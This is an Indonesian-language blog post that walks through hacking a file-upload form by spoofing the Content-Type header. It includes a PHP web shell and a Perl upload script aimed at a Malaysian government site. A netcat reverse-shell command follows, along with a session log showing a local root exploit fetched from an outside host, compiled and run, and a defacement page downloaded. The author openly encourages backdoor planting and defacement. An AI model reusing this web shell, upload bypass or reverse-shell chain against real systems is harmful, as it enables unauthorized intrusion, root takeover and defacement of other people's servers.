Sabtu, November 25, 2017
Text Size

Search

News English News Exploitasi File Upload Content-type verification pada Website
SocialTwist Tell-a-Friend

Media Partner News

OkeZone.Com

Ads - World Friend

Sudah lama ogut tidak posting di blog ini,, maklum kesibukan gue jadiin kambing hitam disini..:P .Kesempatan kali ini gue cuma mau ngingetin para developer website di dunia yang liar ini so pastinya ente atau anak ABG SMA lagi belajar ***king pernah buat atau ngeliat form di sebuah website yang memfasilitasi penggunanya untuk melakukan upload. Seperti upload file, foto atau avatar. Sekitar 70% sebab terkuasainya sebuah komputer disebabkan oleh “input validation error”. Maaf angka 70% saya karang sendiri  .

Kelemahan aplikasi berbasis web yang diakibatkan “input validation error” disebabkan karena tidak ada atau kurang ketatnya batasan file yang boleh di upload ke server. Jika tidak seorang intruder dapat dengan bebas tipe file yang akan di upload untuk kepentingan mengambil alih komputer seperti menjalankan perintah linux di komputer target. Seperti Kronologi di bawah ini :

form mentor

gambar di atas kita mencoba upload file berekstension php yaitu “go.php” dimana file go.php tersebut berfungsi menjalankan perintah unix/linux di browser. Isi file go.php seperti ini:

view source
print?
1 <?php
2 system($_GET['command']);
3 ?>

Ternyata file tersebut di terima untuk disimpan ke dalam server.
form mentor sukses
Sekarang kita bisa menjalankan perintah unix/linux di browser, seperti ini menjalankan perintah “id” dimana perintah tersebut untuk memberikan informasi user id:

form mentor url

Lanjut ke TKP berikutnya.

TKP berikutnya adalah di sebuah situs kepemerintahan tetangga seberang satu rumpun, yaitu malon. Pada saat melakukan upload file berekstension php ditolak oleh aplikasi, jika kita lihat http response dengan Live HTTP Header addons firefox tampaknya aplikasi tersebut membatasi file dengan memfilter berdasarkan Content-type header yang dikirim seperti gambar di bawah…
http response

Sampai saat ini web tersebut aman, tapi bagaimana kalau header http – nya kita modifikasi dari Content-type : text/plain atau Content-type : application/octet-stream menjadi Content-type : image/gif. Kenapa? karena file yang diterima adalah tipe file gambar gif. Disini gue buat sebuah exploit yang terbuat dari bahasa perl untuk membypass proteksi type header tertentu. Untuk keperluan tersebut kita butuh modul perl libwww-perl dan HTML-Parser.

Dalam libwww-perl terdapat class LWP::UserAgent. Klas tersebut kita bisa membuat sebuah HTTP Request lalu mengkonfigurasikan isi http header sendiri dan mendukung tipe request sepert get(), head() and post(). Berikut listing kode “hajarupload.pl”.

view source
print?
01 #!/usr/bin/perl
02 # hajarupload.pl for bypass Content_Type header
03 # by unamedplayer - http://logsmylife.wordpress.com
04 use LWP;
05 use HTTP::Request::Common;
06 $agen = $agen = LWP::UserAgent->new;;
07 $req = $agen->request
08 (
09 POST 'http://target.gov.my/upload.php',
10 Content_Type => 'form-data',
11 Content => [userfile => ["go.php", "go.php", "Content-Type" => "image/gif"],   ],
12 );
13 print $req->as_string();

file is valid

Oops kita berhasil backdoor php kita  .. langkah selanjutnya kita melakukan “Remote Connect Backshell” seperti pada artikel ini Remote dan Local File Inclusion Vulnerability

Pada address bar kita lakukan request seperti dibawah ini, dimana ip.intruder adalah komputer penerima koneksi dengan listening state. atau kondisi menerima koneksi dari luar.

http://localhost.gov.my/upload/uploads/go.php?command=nc -e /bin/bash 10.11.46.238 12345

Lalu pada komputer intruder akan mendapatkan shell bash di komputer korban,
console linux remote connect back shell netcat

selanjutnya kita bisa menjalankan perintah unix. Seperti melakukan Privilige Escalation, Backdoor Planting, sampai Deface. Pokoknya bebas terserah anda, resiko ditanggung pemenag.

[email protected]:~$ nc -v -l -p 12345
listening on [any] 12345 ...
connect to [10.11.46.238] from xxxxxxxx.gov.my [58.26.6.xx] 54200
id
uid=80(apache) gid=80(apache) groups=80(apache)
owd
bash: line 2: owd: command not found
pwd
/var/www/htdocs/upload/uploads
ls
!.gif
-d13625_.gif
-g00041_.gif
-g00053_.gif
-iii.jpg
-itty02.jpg
000web.gif
01-dragonball.jpg
100552365_m.gif
115846967617749.jpg
1720.jpg
apachedos.pl
go.php
uname -a
Linux xx 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008
wget http://private-man.co.cc/rooting/localexploit.c
--2010-04-03 12:24:11-- http://private-man.co.cc/rooting/localexploit.c
Resolving localhost... 216.108.239.189
Connecting to private-man.co.cc|216.108.239.189|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3350 (3.3K) [text/x-c]
Saving to: `localexploit.c'

0K ... 100% 109M=0s

2010-04-03 12:24:11 (109 MB/s) - `localexploit.c' saved [3350/3350]

ls
!.gif
-d13625_.gif
-g00041_.gif
-g00053_.gif
-iii.jpg
-itty02.jpg
000web.gif
01-dragonball.jpg
100552365_m.gif
115846967617749.jpg
1720.jpg
apachedos.pl
go.php
localexploit.c
gcc localexploit.c
gcc localexploit.c -o localexploit
ls

!.gif
-d13625_.gif
-g00041_.gif
-g00053_.gif
-iii.jpg
-itty02.jpg
000web.gif
01-dragonball.jpg
100552365_m.gif
115846967617749.jpg
1720.jpg
a.out
apachedos.pl
go.php
localexploit
localexploit.c
./localexploit
bash: line 11: 3743 Segmentation fault ./localexploit

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: Oops: 0000 [#1] SMP

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: Process localexploit (pid: 3743, ti=c8d44000 task=c15bcdc0 task.ti=c8d44000)

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: Stack: 00000001 00000000 c8d44000 cdff0000 ced152a0 c8d45df8 c0684cc0 00000002

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: 00000000 c07aaee0 c165a038 c8d45e20 c019e4ee 00000002 c8d45e0c 00000000

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: 00000000 00000000 c165a000 c165a000 c8d45e5c c8d45e54 c019ec10 ccb39200

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: Call Trace:

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? sock_sendpage+0x40/0x50

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? pipe_to_sendpage+0x5e/0x80

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? __splice_from_pipe+0xe0/0x230

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? pipe_to_sendpage+0x0/0x80

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? splice_from_pipe+0x56/0x80

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? generic_splice_sendpage+0x26/0x30

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? pipe_to_sendpage+0x0/0x80

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? do_splice_from+0x67/0x90

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? direct_splice_actor+0x2b/0x40

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? splice_direct_to_actor+0xd3/0x1d0

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? direct_splice_actor+0x0/0x40

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? do_splice_direct+0x40/0x60

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? do_sendfile+0x19f/0x230

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? sys_sendfile+0x8a/0xb0

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? syscall_call+0x7/0xb

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: =======================

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: Code: Bad EIP value.

Message from [email protected] at Sat Apr 3 12:24:52 2010 ...
slack kernel: EIP: [] 0x8048601 SS:ESP 0068:c8d45dcc
id
uid=0(root) gid=0(root) groups=80(apache)
whoami
root
wget private-man.co.cc/rooting/owned.html
--2010-04-03 12:32:09-- private-man.co.cc/rooting/owned.html
Resolving private-man.co.cc... 216.108.239.189
Connecting to private-man.co.cc|216.108.239.189|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 217 [text/html]
Saving to: `owned.html'

100%[============================================================>] 217 --.-K/s in 0s

2010-04-03 12:32:09 (9.89 MB/s) - `owned.html' saved [217/217]

owned

Comments
Add New Search
Write comment
Name:
Email:
 
Website:
Title:
 
:angry::0:confused::cheer:B):evil::silly::dry::lol::kiss::D:pinch:
:(:shock::X:side::):P:unsure::woohoo::huh::whistle:;):s
:!::?::idea::arrow:
 
Please input the anti-spam code that you can read in the image.

3.25 Copyright (C) 2007 Alain Georgette / Copyright (C) 2006 Frantisek Hliva. All rights reserved."

Advertisement Site




Ads - World Friend

Ads - World Friend

Berita lain-lainnya

Soket Computer
04/11/2009 |
article thumbnail

Soket adalah tempat dudukan prosesor pada motherboard. Dudukan ini berbentuk segi empat dengan lubang-lubang kecil tempat tertancapnya kaki-kaki (pin-pin) prosesor yang tersusun membentuk matriks 2 di [ ... ]


Pemerintah Indonesia protes keras terhadap kawat diplomati US
11/03/2011 | Indra Febria Widy
article thumbnail

Pemerintah Indonesia akan melayangkan protes keras terhadap pemberitaan di dua harian utama Australia, The Age dan Sydney Morning Herald. Kedua media itu memberitakan tuduhan tentang penyalahgunaan w [ ... ]